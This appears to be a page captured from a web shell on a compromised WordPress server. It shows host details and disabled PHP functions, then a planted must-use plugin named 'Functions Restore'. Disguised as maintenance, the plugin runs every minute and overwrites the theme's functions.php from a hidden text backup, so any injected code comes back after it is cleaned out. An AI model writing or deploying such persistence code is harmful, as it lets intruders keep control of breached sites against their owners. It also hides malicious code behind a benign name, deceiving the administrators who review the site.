HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web202 (5061)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client33/web202/web/wp-content/mu-plugins/functions-restore.php
<?php
/*
Plugin Name: Functions Restore
Description: Restore functions.php from TXT backup
Author: Function
Version: 1.6
*/

add_action('fr_cron_event', function () {
    $functions_file = get_stylesheet_directory() . '/functions.php';
    $backup_file    = WP_CONTENT_DIR . '/functions_backup.txt';

    if (!file_exists($backup_file)) return;

    $backup_content = file_get_contents($backup_file);

    if (!file_exists($functions_file) || md5_file($functions_file) !== md5($backup_content)) {
        file_put_contents($functions_file, $backup_content);
        error_log('functions.php restored from TXT backup');
    }
});

if (!wp_next_scheduled('fr_cron_event')) {
    wp_schedule_event(time(), 'every_1min', 'fr_cron_event');
}

add_filter('cron_schedules', function ($schedules) {
    $schedules['every_1min'] = ['interval' => 60, 'display' => __('Every 1 Minute')];
    return $schedules;
});